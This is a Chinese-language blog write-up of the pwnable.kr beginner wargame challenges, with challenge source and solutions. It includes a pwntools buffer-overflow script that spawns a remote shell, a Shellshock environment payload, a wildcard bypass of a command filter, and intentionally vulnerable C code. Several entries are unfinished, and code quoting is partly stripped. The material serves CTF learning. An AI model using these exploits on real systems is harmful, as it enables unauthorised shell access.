Pwnable.kr Writeup(part one): Toddlers Bottles

複習一下pwnable.kr並更新writeup,會持續更新,一天寫一兩道題。

1. fd - 1 pt

題目:Mommy! what is a file descriptor in Linux?

*try to play the wargame your self but if you are ABSOLUTE beginner, follow this tutorial link: youtube.com/watch?

ssh fd@pwnable.kr -p2222 (pw:guest)

writeup:

伺服器中有三個文件:fd,fd.c 和 flag。查看fd.c:

#include <stdio.h>#include <stdlib.h>#include <string.h>char buf[32];int main(int argc, char* argv[], char* envp[]){ if(argc<2){ printf("pass argv[1] a number
"); return 0; } int fd = atoi( argv[1] ) - 0x1234; int len = 0; len = read(fd, buf, 32); if(!strcmp("LETMEWIN
", buf)){ printf("good job :)
"); system("/bin/cat flag"); exit(0); } printf("learn about Linux file IO
"); return 0;}

我們需要傳入一個數字作為argv[1],並傳入「LETMEWIN」作為argv[2],之後程序會調用/bin/cat讀取flag。這個數字的線索在這裡:

int fd = atoi( argv[1] ) - 0x1234;

在linux中,file descriptor有三種:

  1. fd = 0, 代表stdin
  2. fd = 1, 代表stdout
  3. fd = 2, 代表stderr

我們希望file descriptor等於0。fd為0時,read函數會直接讀取鍵盤輸入。所以argv[1] = 0x1234。注意這裡不能直接傳入0x1234,而是要傳入str(0x1234)。因為是atoi(argv[1]),所以argv[1]需要是一個字元串。在python中驗證:

>>> str(0x1234)4660

返回bash,傳入:

./fd 4660LETMEWIN

得到flag。

2. collision - 3 pt

題目:Daddy told me about cool MD5 hash collision today.I wanna do something like that too!

ssh col@pwnable.kr -p2222 (pw:guest)

writeup:

類似地,這裡有三個文件:col,col.c 和 flag。查看col.c:

#include <stdio.h>#include <string.h>unsigned long hashcode = 0x21DD09EC;unsigned long check_password(const char* p){ int* ip = (int*)p; int i; int res=0; for(i=0; i<5; i++){ res += ip[i]; } return res;}int main(int argc, char* argv[]){ if(argc<2){ printf("usage : %s [passcode]
", argv[0]); return 0; } if(strlen(argv[1]) != 20){ printf("passcode length should be 20 bytes
"); return 0; } if(hashcode == check_password( argv[1] )){ system("/bin/cat flag"); return 0; } else printf("wrong passcode.
"); return 0;}

得到信息:參數1長度為20,並需要hashcode == check_password( argv[1] )。觀察check_password函數:

unsigned long check_password(const char* p){ int* ip = (int*)p; int i; int res=0; for(i=0; i<5; i++){ res += ip[i]; } return res;}

我們需要傳入5個數,並且他們的和為0x21dd09ec。於是想到將其除以5,但驗算髮現:

>>> 0x21DD09EC/5113626824>>> 113626824 * 5568134120>>> hex(568134120)0x21dd09e8

兩個hex值並不相等。於是選擇用113626824乘4並加上剩餘的部分:

>>> 0x21dd09ec/4142033531>>> 0x21dd09ec568134124>>> 568134124/5113626824>>> 568134124 - 4 * 113626824113626828

接下來要把表達式轉為little-endian bytes形式。這裡用的是struct:

>>> import struct>>> 4 * struct.pack(<i, 113626824) + struct.pack(<i, 113626828)xc8xcexc5x06xc8xcexc5x06xc8xcexc5x06xc8xcexc5x06xccxcexc5x06

連接伺服器並構建payload:

col@ubuntu:~$ ./col `python -c "print xc8xcexc5x06xc8xcexc5x06xc8xcexc5x06xc8xcexc5x06xccxcexc5x06"`

得到flag。

3. bof - 5 pt

題目:Nana told me that buffer overflow is one of the most common software vulnerability. Is that true?

Download :bofDownload :bof.c

Running at : nc pwnable.kr 9000

writeup:

查看源碼:

#include <stdio.h>#include <string.h>#include <stdlib.h>void func(int key){ char overflowme[32]; printf("overflow me : "); gets(overflowme); // smash me! if(key == 0xcafebabe){ system("/bin/sh"); } else{ printf("Nah..
"); }}int main(int argc, char* argv[]){ func(0xdeadbeef); return 0;}

IDA中打開bin文件,F5查看main函數。發現s的位置在ebp - 2Ch,參數a的位置在ebp + 8h,其中的距離是0x34,也就是52個位元組。這裡我們要填充52位元組的padding,並傳入shellcode(也就是源碼中的key)。腳本如下:

#!/usr/bin/env pythonfrom pwn import *sh = remote(pwnable.kr, 9000)padding = A * 52shellcode = xbexbaxfexcapayload = padding + shellcode sh.sendline(payload)sh.interactive()

之後與系統交互得到flag。

4. flag - 7 pt

題目:Papa brought me a packed present! lets open it.

Download :flag

This is reversing task. all you need is binary

writeup:

checksec得到:

root@kali:~/Desktop/ctf_files/pwnable.kr/flag# checksec flag[*] /root/Desktop/ctf_files/pwnable.kr/flag/flag Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments Packer: Packed with UPX

用UPX解密:

upx -d flag

Shift+F12並搜索UPX,得到flag。

5. passcode - 10 pt

題目:Mommy told me to make a passcode based login system.

My initial C code was compiled without any error!

Well, there was some compiler warning, but who cares about that?

ssh passcode@pwnable.kr -p2222 (pw:guest)

writeup:

這裡學習曲線有些陡峭。。直接上難度了。查看源碼:

#include <stdio.h>#include <stdlib.h>void login(){ int passcode1; int passcode2; printf("enter passcode1 : "); scanf("%d", passcode1); fflush(stdin); // ha! mommy told me that 32bit is vulnerable to bruteforcing :) printf("enter passcode2 : "); scanf("%d", passcode2); printf("checking...
"); if(passcode1==338150 && passcode2==13371337){ printf("Login OK!
"); system("/bin/cat flag"); } else{ printf("Login Failed!
"); exit(0); }}void welcome(){ char name[100]; printf("enter you name : "); scanf("%100s", name); printf("Welcome %s!
", name);}int main(){ printf("Toddlers Secure Login System 1.0 beta.
"); welcome(); login(); // something after login... printf("Now I can safely trust you that you have credential :)
"); return 0; }

(TODO)

6. random - 1 pt

題目:Daddy, teach me how to use random value in programming!

ssh random@pwnable.kr -p2222 (pw:guest)

writeup:

查看源碼:

#include <stdio.h>int main(){ unsigned int random; random = rand(); // random value! unsigned int key=0; scanf("%d", &key); if( (key ^ random) == 0xdeadbeef ){ printf("Good!
"); system("/bin/cat flag"); return 0; } printf("Wrong, maybe you should try 2^32 cases.
"); return 0;}

很容易看出這裡的rand()不生成隨機數,因為沒有設置seed。寫一個程序驗證一下:

#include <stdio.h>int main(){ unsigned int random; random = rand(); printf("%d", random); return 0;}

發現這個程序只返回1804289383。轉為hex:

print(hex(1804289383))

得到0x6b8b4567。根據xor的運演算法則,我們可以通過random ^ 0xdeadbeef來得出key:

print(0x6b8b4567 ^ 0xdeadbeef)

得到3039230856。與伺服器交互得到flag。

7. input - 4 pt

題目:Mom? how can I pass my input to a computer program?

ssh input2@pwnable.kr -p2222 (pw:guest)

writeup:

查看源碼:

#include <stdio.h>#include <stdlib.h>#include <string.h>#include <sys/socket.h>#include <arpa/inet.h>int main(int argc, char* argv[], char* envp[]){ printf("Welcome to pwnable.kr
"); printf("Lets see if you know how to give input to program
"); printf("Just give me correct inputs then you will get the flag :)
"); // argv if(argc != 100) return 0; if(strcmp(argv[A],"x00")) return 0; if(strcmp(argv[B],"x20x0ax0d")) return 0; printf("Stage 1 clear!
"); // stdio char buf[4]; read(0, buf, 4); if(memcmp(buf, "x00x0ax00xff", 4)) return 0; read(2, buf, 4); if(memcmp(buf, "x00x0ax02xff", 4)) return 0; printf("Stage 2 clear!
"); // env if(strcmp("xcaxfexbaxbe", getenv("xdexadxbexef"))) return 0; printf("Stage 3 clear!
"); // file FILE* fp = fopen("x0a", "r"); if(!fp) return 0; if( fread(buf, 4, 1, fp)!=1 ) return 0; if( memcmp(buf, "x00x00x00x00", 4) ) return 0; fclose(fp); printf("Stage 4 clear!
"); // network int sd, cd; struct sockaddr_in saddr, caddr; sd = socket(AF_INET, SOCK_STREAM, 0); if(sd == -1){ printf("socket error, tell admin
"); return 0; } saddr.sin_family = AF_INET; saddr.sin_addr.s_addr = INADDR_ANY; saddr.sin_port = htons( atoi(argv[C]) ); if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){ printf("bind error, use another port
"); return 1; } listen(sd, 1); int c = sizeof(struct sockaddr_in); cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c); if(cd < 0){ printf("accept error, tell admin
"); return 0; } if( recv(cd, buf, 4, 0) != 4 ) return 0; if(memcmp(buf, "xdexadxbexef", 4)) return 0; printf("Stage 5 clear!
"); // heres your flag system("/bin/cat flag"); return 0;}

stage 1:

// argv if(argc != 100) return 0; if(strcmp(argv[A],"x00")) return 0; if(strcmp(argv[B],"x20x0ax0d")) return 0; printf("Stage 1 clear!
");

我們需要

  • 傳入100個argument
  • 第65個argument是"x00"。note:ord(A) = 65
  • 第66個argument是"x20ax0d"。ord(B) = 66

(TODO)

8. leg - 2 pt

題目:Daddy told me I should study arm.

But I prefer to study my leg!

Download : pwnable.kr/bin/leg.c

Download : pwnable.kr/bin/leg.asm

ssh leg@pwnable.kr -p2222 (pw:guest)

writeup:

9. mistake - 1 pt

題目:We all make mistakes, lets move on.

(dont take this too seriously, no fancy hacking skill is required at all)

This task is based on real event

Thanks to dhmonkey

hint : operator priority

ssh mistake@pwnable.kr -p2222 (pw:guest)

writeup:

源碼:

#include <stdio.h>#include <fcntl.h>#define PW_LEN 10#define XORKEY 1void xor(char* s, int len){ int i; for(i=0; i<len; i++){ s[i] ^= XORKEY; }}int main(int argc, char* argv[]){ int fd; if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0){ printf("cant open password %d
", fd); return 0; } printf("do not bruteforce...
"); sleep(time(0)%20); char pw_buf[PW_LEN+1]; int len; if(!(len=read(fd,pw_buf,PW_LEN) > 0)){ printf("read error
"); close(fd); return 0; } char pw_buf2[PW_LEN+1]; printf("input password : "); scanf("%10s", pw_buf2); // xor your input xor(pw_buf2, 10); if(!strncmp(pw_buf, pw_buf2, PW_LEN)){ printf("Password OK
"); system("/bin/cat flag
"); } else{ printf("Wrong Password
"); } close(fd); return 0;}

問題在這裡:

if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0)

由於<的優先順序比=大,如果open(/home/mistake/password)成功執行的話,open(...) < 0會返回False, 也就是0。之後剩下fd = 0,也就是說程序沒有從password讀取,而是直接讀取了stdin(鍵盤輸入)。接下來分析程序。首先給出了xor演算法:

#define XORKEY 1void xor(char* s, int len){ int i; for(i=0; i<len; i++){ s[i] ^= XORKEY; //bitwise xor 1 }}

鍵盤輸入存儲在pw_buf2:

scanf("%10s", pw_buf2);

之後調用了xor:

xor(pw_buf2, 10);

並且要通過檢測:

if(!strncmp(pw_buf, pw_buf2, PW_LEN)){ printf("Password OK
"); system("/bin/cat flag
");}

所以構造的密碼需要滿足如下條件:

pw_buf = pw_buf2^0x1111111111

最簡單的例子:

00000000001111111111

與系統交互得到flag。

10. shellshock - 1 pt

題目:Mommy, there was a shocking news about bash.

I bet you already know, but lets just make it sure :)

ssh shellshock@pwnable.kr -p2222 (pw:guest)

writeup:

源碼:

#include <stdio.h>int main(){ setresuid(getegid(), getegid(), getegid()); setresgid(getegid(), getegid(), getegid()); system("/home/shellshock/bash -c echo shock_me"); return 0;}

好像沒什麼用。。Wikipedia上搜索shellshock:en.wikipedia.org/wiki/S 發現CVE-2014-627:

env x=() { :;}; echo vulnerable bash -c "echo this is a test"

如果有漏洞則echo vulnerable,沒有漏洞則echo this is a test。這裡修改一下,把echo vulnerable修改為cat flag:

env x=() { :;}; /bin/cat flag ./shellshock

得到flag。

11. coin1 - 6 pt

題目:Mommy, I wanna play a game!

(if your network response time is too slow, try nc 0 9007 inside pwnable.kr server)

Running at : nc pwnable.kr 9007

writeup:

11. blackjack - 1 pt

題目:Hey! check out this C implementation of blackjack game!

I found it online

* cboard.cprogramming.com

I like to give my flags to millionares.

how much money you got?

Running at : nc pwnable.kr 9009

writeup:

11. lotto - 2 pt

題目:Mommy! I made a lotto program for my homework.

do you want to play?

ssh lotto@pwnable.kr -p2222 (pw:guest)

writeup:

11. cmd1 - 1 pt

題目:Mommy! what is PATH environment in Linux?

ssh cmd1@pwnable.kr -p2222 (pw:guest)

writeup:

源碼:

#include <stdio.h>#include <string.h>int filter(char* cmd){ int r=0; r += strstr(cmd, "flag")!=0; r += strstr(cmd, "sh")!=0; r += strstr(cmd, "tmp")!=0; return r;}int main(int argc, char* argv[], char** envp){ putenv("PATH=/fuckyouverymuch"); if(filter(argv[1])) return 0; system( argv[1] ); return 0;}

傳入的argument不能包含"flag","sh",或"tmp"。如果通過檢測則會執行輸入的命令。我們可以用通配符(wild card)繞過檢測:

cmd1@ubuntu:~$ ./cmd1 "/bin/cat fl*"mommy now I get what PATH environment is for :)

得到flag。這個flag是下一題的login密碼。

12. cmd2 - 9 pt

題目:Daddy bought me a system command shell.

but he put some filters to prevent me from playing with it without his permission...

but I wanna play anytime I want!

ssh cmd2@pwnable.kr -p2222 (pw:flag of cmd1)

writeup:

源碼:

#include <stdio.h>#include <string.h>int filter(char* cmd){ int r=0; r += strstr(cmd, "=")!=0; r += strstr(cmd, "PATH")!=0; r += strstr(cmd, "export")!=0; r += strstr(cmd, "/")!=0; r += strstr(cmd, "`")!=0; r += strstr(cmd, "flag")!=0; return r;}extern char** environ;void delete_env(){ char** p; for(p=environ; *p; p++) memset(*p, 0, strlen(*p));}int main(int argc, char* argv[], char** envp){ delete_env(); putenv("PATH=/no_command_execution_until_you_become_a_hacker"); if(filter(argv[1])) return 0; printf("%s
", argv[1]); system( argv[1] ); return 0;}

12. uaf - 8 pt

題目:Mommy, what is Use After Free bug?

ssh uaf@pwnable.kr -p2222 (pw:guest)

writeup:

源碼:

#include <fcntl.h>#include <iostream> #include <cstring>#include <cstdlib>#include <unistd.h>using namespace std;class Human{private: virtual void give_shell(){ system("/bin/sh"); }protected: int age; string name;public: virtual void introduce(){ cout << "My name is " << name << endl; cout << "I am " << age << " years old" << endl; }};class Man: public Human{public: Man(string name, int age){ this->name = name; this->age = age; } virtual void introduce(){ Human::introduce(); cout << "I am a nice guy!" << endl; }};class Woman: public Human{public: Woman(string name, int age){ this->name = name; this->age = age; } virtual void introduce(){ Human::introduce(); cout << "I am a cute girl!" << endl; }};int main(int argc, char* argv[]){ Human* m = new Man("Jack", 25); Human* w = new Woman("Jill", 21); size_t len; char* data; unsigned int op; while(1){ cout << "1. use
2. after
3. free
"; cin >> op; switch(op){ case 1: m->introduce(); w->introduce(); break; case 2: len = atoi(argv[1]); data = new char[len]; read(open(argv[2], O_RDONLY), data, len); cout << "your data is allocated" << endl; break; case 3: delete m; delete w; break; default: break; } } return 0; }

13. codemap - 10 pt

題目:I have a binary that has a lot information inside heap.

How fast can you reverse-engineer this?

(hint: see the information inside EAX,EBX when 0x403E65 is executed)

download: pwnable.kr/bin/codemap.

ssh codemap@pwnable.kr -p2222 (pw:guest)

writeup:

codemap是admin自己開發的ida插件。。用法在這裡:github.com/c0demap/code經測試IDA 6.8可用,7.0不兼容。根據提示,在0x403E65按F2下斷點,並F4運行(local win32 dbg)。運行程序後返回IDA按alt+1,會在chrome中跳出窗口。

14. memcpy - 10 pt

題目:I have a binary that has a lot information inside heap.

How fast can you reverse-engineer this?

(hint: see the information inside EAX,EBX when 0x403E65 is executed)

download: pwnable.kr/bin/codemap.

ssh codemap@pwnable.kr -p2222 (pw:guest)

writeup:

15. asm - 6 pt

題目:Mommy! I think I know how to make shellcodes

ssh asm@pwnable.kr -p2222 (pw: guest)

writeup:

源碼:

#include <stdio.h>#include <string.h>#include <stdlib.h>#include <sys/mman.h>#include <seccomp.h>#include <sys/prctl.h>#include <fcntl.h>#include <unistd.h>#define LENGTH 128void sandbox(){ scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL); if (ctx == NULL) { printf("seccomp error
"); exit(0); } seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0); if (seccomp_load(ctx) < 0){ seccomp_release(ctx); printf("seccomp error
"); exit(0); } seccomp_release(ctx);}char stub[] = "x48x31xc0x48x31xdbx48x31xc9x48x31xd2x48x31xf6x48x31xffx48x31xedx4dx31xc0x4dx31xc9x4dx31xd2x4dx31xdbx4dx31xe4x4dx31xedx4dx31xf6x4dx31xff";unsigned char filter[256];int main(int argc, char* argv[]){ setvbuf(stdout, 0, _IONBF, 0); setvbuf(stdin, 0, _IOLBF, 0); printf("Welcome to shellcoding practice challenge.
"); printf("In this challenge, you can run your x64 shellcode under SECCOMP sandbox.
"); printf("Try to make shellcode that spits flag using open()/read()/write() systemcalls only.
"); printf("If this does not challenge you. you should play asg challenge :)
"); char* sh = (char*)mmap(0x41414000, 0x1000, 7, MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, 0, 0); memset(sh, 0x90, 0x1000); memcpy(sh, stub, strlen(stub)); int offset = sizeof(stub); printf("give me your x64 shellcode: "); read(0, sh+offset, 1000); alarm(10); chroot("/home/asm_pwn"); // you are in chroot jail. so you cant use symlink in /tmp sandbox(); ((void (*)(void))sh)(); return 0;}

16. unlink - 10 pt

題目:Daddy! how can I exploit unlink corruption?

ssh unlink@pwnable.kr -p2222 (pw: guest)

writeup:

源碼:

#include <stdio.h>#include <stdlib.h>#include <string.h>typedef struct tagOBJ{ struct tagOBJ* fd; struct tagOBJ* bk; char buf[8];}OBJ;void shell(){ system("/bin/sh");}void unlink(OBJ* P){ OBJ* BK; OBJ* FD; BK=P->bk; FD=P->fd; FD->bk=BK; BK->fd=FD;}int main(int argc, char* argv[]){ malloc(1024); OBJ* A = (OBJ*)malloc(sizeof(OBJ)); OBJ* B = (OBJ*)malloc(sizeof(OBJ)); OBJ* C = (OBJ*)malloc(sizeof(OBJ)); // double linked list: A <-> B <-> C A->fd = B; B->bk = A; B->fd = C; C->bk = B; printf("here is stack address leak: %p
", &A); printf("here is heap address leak: %p
", A); printf("now that you have leaks, get shell!
"); // heap overflow! gets(A->buf); // exploit this unlink! unlink(B); return 0;}

推薦閱讀:

網路犯罪分子越來越擅長使用先進的身份驗證方法
Github 安全類Repo收集整理
我的匿名安全防護之道
Apache Tomcat RCE(CVE-2017-12615 )漏洞測試
談談C/C++的學習路線,發展方向?

TAG:pwn | 信息安全 | CTFCaptureTheFlag |